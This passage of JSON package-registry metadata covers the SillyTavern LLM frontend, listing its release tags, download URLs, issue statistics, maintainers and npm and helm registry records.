/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.0/manifests"},{"name":"1.5.5","sha":"061bad7d1fe8fc929b78d14471e81da503f3b645","kind":"commit","published_at":"2023-05-22T09:04:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.5/manifests"},{"name":"1.5.4","sha":"da76933c9514bd0efb374843ac5170c52ff915c5","kind":"commit","published_at":"2023-05-19T08:57:03.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.4/manifests"},{"name":"1.5.3","sha":"419afc783ea106910aff28d4cb4a41ca80016df5","kind":"commit","published_at":"2023-05-14T18:54:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"88a726d9ad906c1dcd61f8ff9069513f7fda5474","kind":"commit","published_at":"2023-05-14T14:23:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"08be78620d24b17b3ceb78cd308838877b18d1c4","kind":"commit","published_at":"2023-05-12T17:52:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.1/manifests"},{"name":"1.5.0-preview","sha":"4028ddb90ad7d38ac37551c2f41991b2c6300ed0","kind":"commit","published_at":"2023-05-08T16:06:25.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.0-preview/manifests"},{"name":"1.4.9","sha":"9d9aac014a1c2e526038a24c121e23cdab6317a8","kind":"commit","published_at":"2023-04-26T08:57:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.9/manifests"},{"name":"1.4.8","sha":"21586ab139e4708104308aaabc3b17937d4dbd08","kind":"commit","published_at":"2023-04-22T18:49:50.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.8/manifests"},{"name":"1.4.1","sha":"3b74d5ace700ff452d9fea8eac2aef50291f8306","kind":"commit","published_at":"2023-04-21T20:33:40.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"be307b11078936f5c9f7d8866a1b7ee5d528d83e","kind":"commit","published_at":"2023-04-20T20:16:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0/manifests"},{"name":"1.4.0-preview","sha":"2e5ce1485bc27929178f91bf33937173028fac7d","kind":"commit","published_at":"2023-04-18T21:52:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0-preview/manifests"},{"name":"1.3.3","sha":"415af67ea3a7335c634457595d28fbcf9dc97edb","kind":"commit","published_at":"2023-04-11T20:08:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.3/manifests"},{"name":"1.3.2","sha":"7277622c249f7ca865bb1f29b062e6e8b2228f56","kind":"commit","published_at":"2023-04-10T18:45:18.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.2/manifests"},{"name":"1.3.1","sha":"66f7d55f767eb480b8e75676156992f976d5fced","kind":"commit","published_at":"2023-04-09T21:08:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.1/manifests"},{"name":"1.3.0","sha":"0f11aab089a9426bea915cb2bd10d5d7e0f52e1f","kind":"commit","published_at":"2023-04-09T17:18:19.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.0/manifests"},{"name":"1.2.3","sha":"41a41732d185c69926ca4cc048a5bd5a7ee99e32","kind":"commit","published_at":"2023-03-31T18:57:45.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.3/manifests"},{"name":"1.2.2","sha":"61267107952a7fd446d8746ca4e305deea8421a8","kind":"commit","published_at":"2023-03-30T16:49:33.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.2/manifests"},{"name":"1.2.1","sha":"1dc92ffff5597ed025c42b9333bcf5053c49cbb8","kind":"commit","published_at":"2023-03-30T08:58:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"f9a6cfc8065b112014bf7eea15fee79b52604ab8","kind":"commit","published_at":"2023-03-29T19:14:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.0/manifests"},{"name":"1.1.1","sha":"100e572aaee00d379d77846d8efd2180b97e4865","kind":"commit","published_at":"2023-03-22T22:12:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.1.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.1/manifests"},{"name":"1.1.0","sha":"68452e6c08cb28aa194a4ca8d1d5e67d7a310fea","kind":"commit","published_at":"2023-03-20T16:51:08.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.1.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.0/manifests"},{"name":"1.0.5","sha":"c617b7e7d5cc94874342874fd99a932a1329b5a8","kind":"commit","published_at":"2023-03-16T08:46:00.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.5/manifests"},{"name":"1.0.4","sha":"c1699b4193dc7862ade0fa43bfbb86df9058c4f3","kind":"commit","published_at":"2023-03-14T14:24:24.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.4/manifests"},{"name":"1.0.3","sha":"abe5aa7cc0d53862cda4f55da5065bed5ce3671c","kind":"commit","published_at":"2023-03-12T20:40:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.3/manifests"},{"name":"1.0.2","sha":"93d9af931a0852bf223ebbc63fde144f589a4189","kind":"commit","published_at":"2023-03-12T19:48:45.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.2/manifests"},{"name":"1.0.1","sha":"2f76bbb7d6f5fd9a3977c8c9a2258d57ddba94e9","kind":"commit","published_at":"2023-03-12T19:42:14.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"74647ab270b1c2068c5a04b5a887729b4b96139b","kind":"commit","published_at":"2023-03-12T14:01:29.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-10-24T15:48:09.935Z","dependent_packages_count":0,"downloads":0,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":0.0,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:helm/sillytavern/sillytavern","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/helm/sillytavern/sillytavern","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/helm/sillytavern/sillytavern","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/helm/sillytavern/sillytavern/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-22T02:32:22.769Z","issues_count":1531,"pull_requests_count":1944,"avg_time_to_close_issue":9650678.166889185,"avg_time_to_close_pull_request":694801.3912655972,"issues_closed_count":749,"pull_requests_closed_count":1122,"pull_request_authors_count":467,"issue_authors_count":923,"avg_comments_per_issue":2.001959503592423,"avg_comments_per_pull_request":1.1378600823045266,"merged_pull_requests_count":768,"bot_issues_count":1,"bot_pull_requests_count":6,"past_year_issues_count":132,"past_year_pull_requests_count":210,"past_year_avg_time_to_close_issue":1789643.7142857143,"past_year_avg_time_to_close_pull_request":2226918.85483871,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":62,"past_year_pull_request_authors_count":146,"past_year_issue_authors_count":124,"past_year_avg_comments_per_issue":1.628787878787879,"past_year_avg_comments_per_pull_request":1.2476190476190476,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":28,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/issues","maintainers":[{"login":"Cohee1207","count":213,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Cohee1207"},{"login":"Wolfsblvt","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"},{"login":"RossAscends","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/RossAscends"},{"login":"deffcolony","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/deffcolony"},{"login":"jvstinian","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jvstinian"},{"login":"PikachuEXE","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PikachuEXE"}],"active_maintainers":[{"login":"Wolfsblvt","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/sillytavern%2Fsillytavern/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/sillytavern%2Fsillytavern/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/sillytavern%2Fsillytavern/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/sillytavern%2Fsillytavern/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/sillytavern%2Fsillytavern/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/sillytavern%2Fsillytavern/codemeta","maintainers":[],"registry":{"name":"artifacthub.io","url":"https://artifacthub.io","ecosystem":"helm","default":true,"packages_count":18869,"maintainers_count":0,"namespaces_count":5840,"keywords_count":11435,"github":"artifacthub","metadata":{"funded_packages_count":1418,"rate_limit":3},"icon_url":"https://github.com/artifacthub.png","created_at":"2026-01-29T12:56:41.438Z","updated_at":"2026-10-25T05:02:07.794Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/namespaces"}},{"id":7630959,"name":"sillytavern","ecosystem":"npm","description":"LLM Frontend for Power Users","homepage":"https://github.com/SillyTavern/SillyTavern#readme","licenses":"AGPL-3.0","normalized_licenses":["AGPL-3.0"],"repository_url":"https://github.com/SillyTavern/SillyTavern","keywords_array":[],"namespace":null,"versions_count":86,"first_release_published_at":"2023-04-22T16:23:05.195Z","latest_release_published_at":"2026-09-14T19:12:49.821Z","latest_release_number":"1.19.0","latest_published_release_number":"1.19.0","last_synced_at":"2026-10-25T05:22:55.255Z","created_at":"2023-04-22T16:30:04.929Z","updated_at":"2026-10-25T17:16:23.081Z","registry_url":"https://www.npmjs.com/package/sillytavern","install_command":"npm install sillytavern","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"1.19.0"},"contentPolicy":null},"repo_metadata":{"id":115963929,"uuid":"599524116","full_name":"SillyTavern/SillyTavern","owner":"SillyTavern","description":"LLM Frontend for Power Users.","archived":false,"fork":false,"pushed_at":"2026-10-02T22:05:54.000Z","size":215670,"stargazers_count":34889,"open_issues_count":678,"forks_count":6560,"subscribers_count":166,"default_branch":"release","last_synced_at":"2026-10-24T15:48:08.309Z","etag":null,"topics":["ai","chat","llm"],"latest_commit_sha":null,"homepage":"https://sillytavern.app","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"TavernAI/TavernAI","license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/SillyTavern.png","metadata":{"files":{"readme":".github/readme-de_de.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2023-02-09T10:19:24.000Z","updated_at":"2026-10-24T15:43:20.000Z","dependencies_parsed_at":"2026-10-17T04:16:09.865Z","dependency_job_id":null,"html_url":"https://github.com/SillyTavern/SillyTavern","commit_stats":null,"previous_names":["sillytavern/sillytavern","cohee1207/sillytavern"],"tags_count":103,"template":false,"template_full_name":null,"purl":"pkg:github/SillyTavern/SillyTavern","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/refs/heads/release","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345237552,"owners_count":38503843,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-25T02:00:07.705Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"SillyTavern","name":"SillyTavern","uuid":"134869877","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/134869877?v=4","repositories_count":1,"last_synced_at":"2026-10-24T15:48:40.481Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/SillyTavern","funding_links":[],"total_stars":null,"followers":1312,"following":0,"created_at":"2023-05-29T18:23:26.448Z","updated_at":"2026-10-24T15:48:40.494Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SillyTavern/repositories"},"tags":[{"name":"1.19.0","sha":"7e8663cd9c184a550b37238218bdd32c6efc68e9","kind":"commit","published_at":"2026-09-14T17:55:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.19.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.19.0/manifests"},{"name":"1.18.0","sha":"51ad27fb86d39a3daca3adaa970375c9670c12df","kind":"commit","published_at":"2026-05-03T15:45:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.18.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.18.0/manifests"},{"name":"1.17.0","sha":"e3f41666c69db032e17e079fcddcf40cf47e8593","kind":"commit","published_at":"2026-03-28T17:22:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.17.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.17.0/manifests"},{"name":"1.16.0","sha":"e3b866b5d2bcc7fbaa889bb926fbb567cd1ed25b","kind":"commit","published_at":"2026-02-14T15:46:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.16.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.16.0/manifests"},{"name":"1.15.0","sha":"1c0e7ea9556afcc3ae55c888287dff67a6aa42fc","kind":"commit","published_at":"2025-12-28T16:28:51.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.15.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.15.0","dependencies_parsed_at":null,"depende